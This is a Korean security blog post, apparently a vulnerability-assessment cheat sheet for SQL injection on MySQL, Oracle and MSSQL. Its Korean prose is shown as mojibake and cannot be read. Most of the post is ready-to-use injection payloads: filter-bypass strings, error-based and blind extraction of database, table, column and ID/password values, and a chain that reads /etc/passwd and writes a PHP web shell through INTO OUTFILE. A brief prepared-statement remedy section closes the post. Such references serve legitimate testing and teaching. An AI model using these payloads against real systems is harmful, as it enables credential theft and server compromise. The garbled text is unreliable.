๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
์ทจ์•ฝ์  ๋ถ„์„ ๊ธฐ์ค€/WEB

05. SQL ์ธ์ ์…˜(MySQL, Oracle, MSSQL, ...)

by Yun2๐Ÿ‘ 2024. 4. 11.
๋ฐ˜์‘ํ˜•

์ทจ์•ฝ์  ์†Œ๊ฐœ


DB ์„œ๋ฒ„์™€ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ƒํ˜ธ์ž‘์šฉ์ด ์ด๋ฃจ์–ด์ง€๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์— SQL ์ฟผ๋ฆฌ๋ฌธ์„ ์‚ฝ์ž…ํ•˜์—ฌ ํ•ด๋‹น DB์˜ ์ •๋ณด๋ฅผ ์–ป๊ฑฐ๋‚˜ ์กฐ์ž‘ํ• ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ 

 

ํŒ๋‹จ ๊ธฐ์ค€


SQL ์ฟผ๋ฆฌ ์ž…๋ ฅ ๊ฒ€์ฆ์ด ๋ฏธํกํ•˜์—ฌ ์„œ๋ฒ„์™€ ์งˆ์˜/์‘๋‹ต์„ ๋‚˜๋ˆ„์–ด ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ

 

์ข…๋ฅ˜(Error-Based, Union-Based, Blind-Based, Stored Procedure Based, ...)


> Error-Based SQL Injection

: ๊ฐ•์ œ๋กœ ์—๋Ÿฌ๋ฅผ ์œ ๋ฐœ์‹œ์ผœ ์—๋Ÿฌ ์ •๋ณด๋ฅผ ํ™•์ธํ•˜๊ณ  DB์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ

 

> Union-Based SQL Injection

: ์›๋ž˜ ๊ธฐ์กด์˜ ์š”์ฒญ SQL ๋ฌธ์— ์ถ”๊ฐ€ ์ฟผ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•ด์„œ DB์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ

(์ปฌ๋Ÿผ๋ช…์€ ๊ธฐ์กด ์š”์ฒญ SELECT ๋ฌธ๊ณผ ๋‹ฌ๋ผ๋„ ๋˜์ง€๋งŒ ์ปฌ๋Ÿผ ๊ฐฏ์ˆ˜๊ฐ€ ๋‹ค๋ฅด๋ฉด ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒ)

 

> Blind-Based SQL Injectino

: ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒ๋˜์ง€ ์•Š๋Š” ํŽ˜์ด์ง€์—์„œ ์ฟผ๋ฆฌ ์ฐธ/๊ฑฐ์ง“ ๋˜๋Š” ์›น ํŽ˜์ด์ง€ ์‘๋‹ต ๋ฐ˜์‘ ์‹œ๊ฐ„์„ ํ™•์ธํ•˜์—ฌ DB์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ

 - Time-Based SQL Injection

 - Boolean-Based SQL Injection

 

> Stored Procedure Based SQL Injection

: ์ €์žฅ ํ”„๋กœ์‹œ์ €์— ๋Œ€ํ•œ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ์–ด์•ผ๋งŒ ์‹คํ–‰ ๊ฐ€๋Šฅ

 

 

๊ณต๊ฒฉ๊ตฌ๋ฌธ


> Basic Injection

' and 1=1 --
' and 1=2 --

' and 1=1 #
' and 1=2 #

' and 1=1 /*
' and 1=2 /*

'+and+1=1+--
'+and+1=2+--

'	and	1=1	--
'	and	1=2	--

'	and	1=1	#
'	and	1=2	#

'	and	1=1	/*
'	and	1=2	/*

๊ณต๋ฐฑ ์šฐํšŒ> + /**/ ()(๋”ํ•˜๊ธฐ, ์ฃผ์„, ๊ด„ํ˜ธ), %09(Tab), %0a(Line Feed \n), %0d(Carrage Return \r)
1'%09and%091=1%09--
1'%0aand%0a1=1%0a--
1'%0dand%0d1=1%0d--
1'/**/and/**/1=1/**/--
(1)'()and(1=1)--

======= ๊ฐ•์ œ ์—๋Ÿฌ ๋ฐœ์ƒ(Response-Based SQL Injection) =========
: Blind-Based SQL Injection ๊ณต๊ฒฉ ์ง„ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์ฐธ, ๊ฑฐ์ง“ ๊ตฌ๋ณ„ํ•  ์ˆ˜ ์žˆ๋Š” ์ปจํ…์ธ ๊ฐ€ ์žˆ์–ด์•ผํ•˜๋Š”๋ฐ ์ด๊ฒƒ์ด ์—†์„ ๊ฒฝ์šฐ ์‚ฌ์šฉ
: SQL ๋ฌธ์€ ๋ฐ˜๋””์‹œ '์‹คํ–‰' ๋‹จ๊ณ„์—์„œ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•ด์•ผ ํ•จ
: ๊ตฌ๋ฌธ ์ž์ฒด์— ์˜ค๋ฅ˜๊ฐ€ ์žˆ์„ ๊ฒฝ์šฐ ์ฐธ, ๊ฑฐ์ง“๊ณผ ๊ด€๊ณ„์—†์ด ๋ฌด์กฐ๊ฑด ์—๋Ÿฌ ๋‚˜์˜ด

- Character Type -
ORACLE : CASE WHEN [์กฐ๊ฑด] THEN 'a' ELSE CAST(1/0 as char) END FROM dual
MSSQL  : CASE WHEN [์กฐ๊ฑด] THEN 'a' ELSE CONVERT(char, 1/0) END
- Intager Type -
CASE WHEN [์กฐ๊ฑด] THEN 1 ELSE 1/0 END

MySQL : CASE WHEN [์กฐ๊ฑด] THEN 1 ELSE (SELECT 1 UNION SELECT 2) END

ex)
Oracle:select case when user='SYS' then 1/0 else (select 1 from dual) end from dual
MS-SQL :if ((select user) = 'sa' OR (select user) = 'dbo') select 1/0 else select 1
update: select case when( 1=1) then 1 else 1/0 end  
POSTGRES :SELECT CASE WHEN (1=2) THEN 1 ELSE 1/0 END;
update: case when (1=1) then 1 else (1 * (select 1 from information_schema.tables)) end)=1 
update: select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end)=1
=============================================================

 

> DB ํŒ๋ณ„(DB ๋ฒ„์ „ ์ •๋ณด)

|| MySQL ํŒ๋ณ„||
SELECT @@version;
=============================================================
SELECT extractvalue(1,concat(0x3a,version()));


|| Oracle ํŒ๋ณ„ || 
SELECT * FROM v$version;
=============================================================
CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual;


|| MS SQL Server ํŒ๋ณ„||
SELECT @@VERSION;
=============================================================
SELECT convert(int,@@version);
SELECT cast((SELECT @@version) as int);


================= TEST Oracle(Error-Based) ==================
' and length(user)=1 --
...

' and substr(user,1,1)=65 --
...
' and substr(user,1,9)='TEST_AAAA'


') AND CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual;
') AND CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version WHERE rownum=1)) <> 1;

')+AND+CTXSYS.DRITHSX.SN(user,(select+banner+from+v$version+where+rownum=1))+FROM+dual;
')+AND+CTXSYS.DRITHSX.SN(1,(SELECT+banner+FROM+v$version+WHERE+rownum=1))+<>+1;
-> ์„œ๋ฒ„ ์ •๋ณด ํ™•์ธ

)'+AND+CTXSYS.DRITHSX.SN(user,(SELECT+COUNT(TABLE_NAME)+FROM+USER_TABLES))=1;
-> user ์ „์ฒด ํ…Œ์ด๋ธ” ๊ฐฏ์ˆ˜ ์กฐํšŒ (000 ํ‚ค์›Œ๋“œ ์‚ฌ์ „์ด ์กด์žฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค)

1'+AND+CTXSYS.DRITHSX.SN(user,(SELECT+TABLE_NAME+FROM+(SELECT+TABLE_NAME,+ROWNUM+AS+RNUM+FROM+USER_TABLES)+WHERE RNUM=10))=1;
-> user ํ…Œ์ด๋ธ” ์กฐํšŒ (000 ํ‚ค์›Œ๋“œ ์‚ฌ์ „์ด ์กด์žฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค)(๊ณ„์ • ํ…Œ์ด๋ธ” ์–ป๊ธฐ)

1'+AND+CTXSYS.DRITHSX.SN(user,(SELECT+COLUMN_NAME+FROM+(SELECT+COLUMN_NAME,+ROWNUM+AS+RNUM+FROM+ALL_TAB_COLUMNS+WHERE+TABLE_NAME='[]')+WHERE+RNUM=1))=1+;
-> [] ์ปฌ๋Ÿผ ์ธ๋ฑ์Šค ์กฐํšŒ (๊ณ„์ • ๊ด€๋ จ ํ…Œ์ด๋ธ” ์œ ์ถ” ํ›„์— ๊ด€๋ จ ์•„์ด๋”” ๋ฐ ํŒจ์Šค์›Œ๋“œ ์ปฌ๋Ÿผ ๊ฐ’ ์–ป๊ธฐ)

1'+AND+CTXSYS.DRITHSX.SN(user,(SELECT+[์•„์ด๋”” ๊ด€๋ จ ์–ป์€ ํ‚ค์›Œ๋“œ1]||'+:+'||[๋น„๋ฐ€๋ฒˆํ˜ธ ๊ด€๋ จ ์–ป์€ ํ‚ค์›Œ๋“œ2]+FROM+(SELECT+[์•„์ด๋”” ๊ด€๋ จ ์–ป์€ ํ‚ค์›Œ๋“œ1],+[๋น„๋ฐ€๋ฒˆํ˜ธ ๊ด€๋ จ ์–ป์€ ํ‚ค์›Œ๋“œ2],+ROWNUM+AS+RNUM+FROM+[๊ณ„์ • ํ…Œ์ด๋ธ”])+WHERE+RNUM=2))=1+;
-> ์•„์ด๋””, ํŒจ์Šค์›Œ๋“œ ์–ป๊ธฐ

================= TEST Oracle(Blind) ==================
')+and+(select+count(table_name)+from+user_tables)=1;
')+and+(select+count(table_name)+from+user_tables)=2;
...
-> ํ…Œ์ด๋ธ” ๊ฐฏ์ˆ˜ ํ™•์ธ

')+and+ascii(substr((select+table_name+from+(select+rownum+as+rnum,table_name+from+user_tables)+where+rnum=1),1,1))<100--
...
-> ํ…Œ์ด๋ธ” ๋ช… ํ™•์ธ

'and+ascii(substr((select+column_name+from+(select+rownum+as+rnum,column_name+from+all_tab_columns+where+table_name='[์–ป์€ ํ…Œ์ด๋ธ”๋ช…]')+where+rnum=1),1,1))>75--
...
-> ์ปฌ๋Ÿผ ๋ช… ํ™•์ธ
-> ์–ป๊ณ ์ž ํ•˜๋Š” ์ปฌ๋Ÿผ๋ช… ๊ณ„์† ํ™•์ธ(rnum=[์ˆซ์ž])

...

================= TEST MySQL&Maria(Error-Based) ==================
1+or+2+and+extractvalue(1,concat(0x3a,version()));
1+or+2+AND+extractvalue(rand(),concat(0x3a,version()))+--
and+extractvalue(1,concat(0x3a,version()));
'+and+extractvalue(1,concat(0x3a,version()));
...
-> ์—๋Ÿฌ๋ฒ ์ด์Šค Injection ๊ฐ€๋Šฅ ์—ฌ๋ถ€ ํ™•์ธ

1+or+2+and+extractvalue(1,concat(0x3a,version()));
1+or+2+AND+extractvalue(rand(),concat(0x3a,version()))+--
'+AND+extractvalue(1,concat(0x3a,version()))+--
'+AND+extractvalue(rand(),concat(0x3a,version()))+--

1+or+2+AND(SELECT+1+FROM(SELECT+COUNT(*),concat(version(),FLOOR(rand(0)*2))x+FROM+information_schema.TABLES+GROUP+BY+x)a)+--
1 or 2 AND row(1,1)>(select count(*),concat(version(),floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1);
1 or 2 AND UpdateXML(1,concat(0x01,version()),1);
-> DB ๋ฒ„์ „ ์ถ”์ถœ
-> DB Error :: XPATH syntax error: ':5.5.64-MariaDB-1ubuntu0.14.04.1'

1+or+2+AND+extractvalue(rand(),concat(0x3a,(SELECT+concat(0x3a,schema_name)+FROM+information_schema.schemata+LIMIT+0,1)))+--
1+or+2+AND+extractvalue(rand(),concat(0x3a,(SELECT+concat(0x3a,schema_name)+FROM+information_schema.schemata+LIMIT+1,1)))+--
...
-> DB๋ช… ์ถ”์ถœ (LIMIT์œผ๋กœ ๊ฐ’ ๋ฐ˜์‘ ํ™•์ธ)
-> DB Error :: XPATH syntax error: '::information_schema'

1+or+2+AND+extractvalue(rand(),concat(0x3a,database()))+--
1+or+2+AND+extractvalue(rand(),concat(0x3a,(SELECT+concat(0x3a,schema_name)+FROM+information_schema.schemata+LIMIT+1,1)))+--
DB Error :: XPATH syntax error: ':counting_query'
-> DB๋ช… ์ถ”์ถœ (์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ํ†ต์‹  ์ค‘์ธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค) 

1 or row(1,1)>(select count(*),concat(ps,floor(rand(0)*2)) as test from information_schema.tables group by test limit 1)
-> DB Error :: Duplicate entry '6ee4d4d7f9694f8355d15ac74116c6bb' for key 'group_key'

 

> MSSQL

|| MSSQL Injection ||
select [์ปฌ๋Ÿผ1][์ปฌ๋Ÿผ2] from [ํ…Œ์ด๋ธ”๋ช…] ... like '%[์‚ฌ์šฉ์ž ๊ฐ’]%';

[์‚ฌ์šฉ์ž ๊ฐ’]
1' and 1=1 -- (์ฐธ ๊ฐ’ ๋™์ž‘)
1' and 1=2 -- (๊ฑฐ์ง“ ๊ฐ’ ๋™์ž‘)
1' and (len(user))=3 --	(์ฐธ ๊ฐ’ ๋™์ž‘)
1' and (len(db_name()))=9 -- (์ฐธ ๊ฐ’ ๋™์ž‘)

-- substring
<< Get DataBase Name >>
1' and substring(db_name(),1,1)='a' --
1' and ascii(substring(db_name(),1,1))=97 --
1' and ascii(substring(db_name(),1,1))>96 --
1' and ascii(substring(db_name(),1,1))<98 --

1' and substring(db_name(),1,1)='b' --
1' and substring(db_name(),1,1)='c' --
1' and substring(db_name(),1,1)='d' --
1' and substring(db_name(),1,1)='e' --
1' and substring(db_name(),1,1)='f' --
1' and substring(db_name(),1,1)='g' --
1' and substring(db_name(),1,1)='h' --
1' and substring(db_name(),1,1)='i' --
1' and substring(db_name(),1,1)='j' --
1' and substring(db_name(),1,1)='k' --
1' and substring(db_name(),1,1)='l' --
1' and substring(db_name(),1,1)='m' --
1' and substring(db_name(),1,1)='n' --
1' and substring(db_name(),1,1)='o' --
1' and substring(db_name(),1,1)='p' --
1' and substring(db_name(),1,1)='q' --
1' and substring(db_name(),1,1)='r' --
1' and substring(db_name(),1,1)='s' --
1' and substring(db_name(),1,1)='t' --
1' and substring(db_name(),1,1)='u' --
1' and substring(db_name(),1,1)='v' --
1' and substring(db_name(),1,1)='w' --
1' and substring(db_name(),1,1)='x' --
1' and substring(db_name(),1,1)='y' --
1' and substring(db_name(),1,1)='z' --

<< Get Table Name in Database (์‚ฌ์šฉ์ž ์ •์˜ ํ…Œ์ด๋ธ” (User table)>>
1' and substring((select top 1 name from sysobjects where xtype='U'),1,1)='a' --

...

<< ์ •๋ณด ์ˆ˜์ง‘ >>
and 1=(SELECT @@VERSION)
-> ๋ฒ„์ „ ์ฒดํฌ

and 1=(select name from master.dbo.sysdatabases where dbid=7)
-> DBํ™•์ธ: DB๊ฐ€ ์กด์žฌํ•˜๋ฉด ์—๋Ÿฌ์ถœ๋ ฅ, ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด ์ •์ƒ์ž‘๋™
-> 1~6์€ ์‹œ์Šคํ…œ DB, 7~ ์‚ฌ์šฉ์ž DB

and 0<>db_name()
-> ํ˜„์žฌ DB ์กฐํšŒ

and user>0
-> ํ˜„์žฌ ์œ ์ €๋ช… ์กฐํšŒ


<< ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ตฌ์กฐ >>
' having 1=1 --
-> ํ˜„์žฌ ํ…Œ์ด๋ธ” ์กฐํšŒ

' group by user.id having 1=1 --
-> ํ˜„์žฌ ์ปฌ๋Ÿผ๋ช… ์กฐํšŒ

' union select sum(์ปฌ๋Ÿผ๋ช…) from ํ…Œ์ด๋ธ”๋ช… --
-> ์ปฌ๋Ÿผ ํƒ€์ž… ์กฐํšŒ


<< ๊ถŒํ•œ ์ฒดํฌ >>
and 1=(IS_SRVROLEMEMBER('sysadmin'))
-> ๊ถŒํ•œ์ข…๋ฅ˜:sysadmin๏ผŒdbcreator๏ผŒdiskadmin๏ผŒprocessadmin๏ผŒserveradmin๏ผŒsetupadmin๏ผŒsecurityadmin

and 1=(IS_MEMBER('db_owner'))
-> ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ถŒํ•œ

;declare @a int;--
-> declare, ์‚ฌ์šฉ์—ฌ๋ถ€


<< ํ…Œ์ด๋ธ” ์กฐํšŒ >>
' and 0<>(select top 1 name from (select top where xtype='U' order by name asc) as table1 order by name desc) --
-> ํŠน์ • DB์—์„œ ์‚ฌ์šฉ์ž๊ฐ€ ๋งŒ๋“  ํ…Œ์ด๋ธ”๋ช… ๋ถˆ๋Ÿฌ์˜ค๊ธฐ(top ํ–‰ ์ฆ๊ฐ€์‹œ์ผœ์„œ ํ™•์ธ)

<< ํ…Œ์ด๋ธ” ์•„์ด๋”” ์กฐํšŒ >>
' and 0<>(select count(*) from .dbo.sysobjects where xtype='U' and name='[ํ…Œ์ด๋ธ”์ด๋ฆ„]' and
uid>(str(id))) --

<< ํ…Œ์ด๋ธ”์˜ ์ปฌ๋Ÿผ๋ช… ์กฐํšŒ >>
' and 1=(select top 1 name from .dbo.sysobjects where name not in (select top 0 name from .dbo.sysobjects where id=357576312) and id=357576312) --

<< Blind SQL Injection >> 
ascii(substring((select top 1 m_id from member_info),1,1))=49 --

<< Time-Based SQL Injection >>
    1';if ascii(substring((select top 1 m_id from member_info),1,1))=1 waitfor delay '00:00:01' -- 
-> waitfor delay '00:00:00' ๋ผ๋Š” ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ ์ฐธ์ผ ๊ฒฝ์šฐ ๋”œ๋ ˆ์ด๋˜๊ณ , ๊ฑฐ์ง“์ผ ๊ฒฝ์šฐ ๋ฐ”๋กœ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ˜ํ™˜ํ•˜์—ฌ ์ฐธ๊ณผ ๊ฑฐ์ง“์„ ํŒ๋‹จ

 

๊ทธ ๋ฐ–์— ๊ด€๋ จ ์ •๋ณด


> CIA๋ณ„ ์ธก๋ฉด

- ๊ธฐ๋ฐ€์„ฑ

: ๋„์ฒญ, ์‚ฌํšŒ๊ณตํ•™ ๊ธฐ๋ฒ•, ... (SELECT)

: SQL ์ฟผ๋ฆฌ๋ฌธ ํ†ตํ•ด ์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ, DB ์ •๋ณด ์ ‘๊ทผ

 

- ๋ฌด๊ฒฐ์„ฑ: 

: ๋ฐ์ดํ„ฐ ๋ณ€์กฐ, ... (INSERT, UPDATE, ...)

: SQL ์ฟผ๋ฆฌ๋ฌธ์„ ํ†ตํ•ด DB ๋‚ด์šฉ ์กฐ์ž‘, ...

 

- ๊ฐ€์šฉ์„ฑ: 

: DoS, DDoS, ... (SLEEP(), "00:00:01", ...)

: SQL ์ฟผ๋ฆฌ ๊ณผ๋„ํ•œ ์–‘ ์ „์†ก, SLEEP, ...

 

 

> ํด๋ผ์ด์–ธํŠธ-์„œ๋ฒ„ ํ๋ฆ„

Client   -   WAS(Web Server, Web Container(WAS))   -   DB

 

WS: Microsoft IIS(.NET Core / ASP.NET Core ), Nginx, ...

WAS: Apache Tomcat , JEUS, IBM WebSphere, ...

 

 

> MySQL Injection ๋งŒ์˜ ๊ธฐ๋Šฅ

: ํ•จ์ˆ˜ ๊ธฐ๋Šฅ(LOAD_FILE(), INTO OUTFILE(),...)

 

- LOAD_FILE() : ํŒŒ์ผ์„ ์ฝ๊ณ  ํŒŒ์ผ ๋‚ด์šฉ์„ ๋ฐ˜ํ™˜ํ•˜๋Š” ํ•จ์ˆ˜

- INTO OUTFILE() : ํŒŒ์ผ์— ์„ ํƒํ•œ ํ–‰์„ ๊ธฐ๋กํ•˜๋Š” SQL ๋ฌธ๋ฒ•

 (INTO OUTFILE ์ „์ œ ์กฐ๊ฑด)

 1. MySQL ์œ ์ €๊ฐ€ ํŒŒ์ผ ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ์–ด์•ผ ํ•จ
 2. ๋ฆฌ๋ˆ…์Šค ์œ ์ € mysql์€ ์“ฐ๊ณ ์ž ํ•˜๋Š” ํด๋”์— ์“ฐ๊ธฐ ๊ถŒํ•œ ์žˆ์–ด์•ผ ํ•จ

๋”๋ณด๊ธฐ

<<๊ณต๊ฒฉ ์‹œ์—ฐ>>
Step 1) ์ปฌ๋Ÿผ ๊ฐฏ์ˆ˜ ํŒŒ์•…
(order by ์ ˆ, ...)


Step 2) MySQL ์œ ์ € ํ™•์ธ
(' UNINON SELECT 1, user FROM mysql.user --, ...)
> guest, root, ...


Step 3) MySQL ์œ ์ € ๋ชฉ๋ก์˜ ํŒŒ์ผ ๊ถŒํ•œ ํ™•์ธ
(' UNION SELECT 1, group_concat(user, 0x3a, file_priv) FROM mysql.user --, ...)
> guest: Y, root: Y, ...


Step 4) /etc/passwd ํŒŒ์ผ ๋‚ด์šฉ ์ถœ๋ ฅ
(' UNION SELECT 1, load_file('/etc/passwd') --, ' union select 1, load_file(char(47,101,116,99,47,112,97,115,115,119,100)) #, ' union select 1, load_file(0x2f6574632f706173737764) #)


Step 5) WebShell ์—…๋กœ๋“œ
(' union select 1, "<? system($_REQUEST['cmd']); ?>" into outfile '/var/www/dvwa/vulnerabilities/sqli/koromoon.php' #)

 

๋Œ€์‘๋ฐฉ์•ˆ


> SQL ์ฟผ๋ฆฌ์— ์‚ฌ์šฉ๋˜๋Š” ๋ฌธ์ž์—ด ์œ ํšจ์„ฑ ๊ฒ€์ฆ ๋กœ์ง Server Side ๋‹จ์—์„œ ๊ตฌํ˜„

> replace all ๋ฉ”์„œ๋“œ ์‚ฌ์šฉ(์‚ฌ์šฉ ์„œ๋ฒ„์— ๋”ฐ๋ผ ์ ์šฉ ํ•„์š”)

> Prepared Statement ๊ฐ์ฒด ์‚ฌ์šฉ

: ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์ฟผ๋ฆฌ์˜ ์ผ๋ถ€๋กœ ์ง์ ‘ ๋™์ž‘์‹œํ‚ค์ง€ ์•Š์Œ

(์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ๋ฐ”์ธ๋”ฉ(๊ณ ์ •๋œ ๊ฐ’)๋˜๊ธฐ ๋•Œ๋ฌธ์— ์ฟผ๋ฆฌ๋กœ ํ•ด์„๋˜์ง€ ์•Š์Œ)

 1. ํ”Œ๋ ˆ์ด์Šค ํ™€๋”(?) ์‚ฌ์šฉํ•ด์„œ ์ฟผ๋ฆฌ ์ค€๋น„

 2. ํŒŒ๋ฆฌ๋ฏธํ„ฐ ๋ฐ”์ธ๋”ฉ (์ด ๊ณผ์ •์—์„œ ์ ์ ˆํ•˜๊ฒŒ ์ด์Šค์ผ€์ดํ”„(๋‹จ์ˆœ ๋ฌธ์ž ์ฒ˜๋ฆฌ)๋˜๊ฑฐ๋‚˜ ํ˜•์‹ ์ง€์ •๋จ)

 3. ์ฟผ๋ฆฌ ์‹คํ–‰

 

Refer to...


โ–ถ(SQL ์ฟผ๋ฆฌ๋ฌธ ๋ณด๊ธฐ ์ข‹๊ฒŒ ์ •๋ ฌ ์‚ฌ์ดํŠธ) https://www.dpriver.com/pp/sqlformat.htm

โ–ถ(SQL Injection ์šฐํšŒ ์‚ฌ์ดํŠธ) https://security04.tistory.com/171

โ–ถ(Decode&Encode Tools) https://dencode.com/

โ–ถ(Oracle ์—๋Ÿฌ์ฝ”๋“œ) https://blog.naver.com/femgfemg/120110867050

โ–ถ(MySQL ์—๋Ÿฌ์ฝ”๋“œ) https://2factor.tistory.com/14

โ–ถ(MSSQL ์—๋Ÿฌ์ฝ”๋“œ) https://halizy.tistory.com/11#google_vignette

โ–ถ(URL Encoding) https://www.eso.org/~ndelmott/url_encode.html

โ–ถ(Github-Injection Payload) https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet/tree/main/MSSQL%20-%20Error%20Based%20SQLi

โ–ถ(DB ์ข…๋ฅ˜๋ณ„ ๋ช…๋ น์–ด) https://noirstar.tistory.com/291

โ–ถ...

๋ฐ˜์‘ํ˜•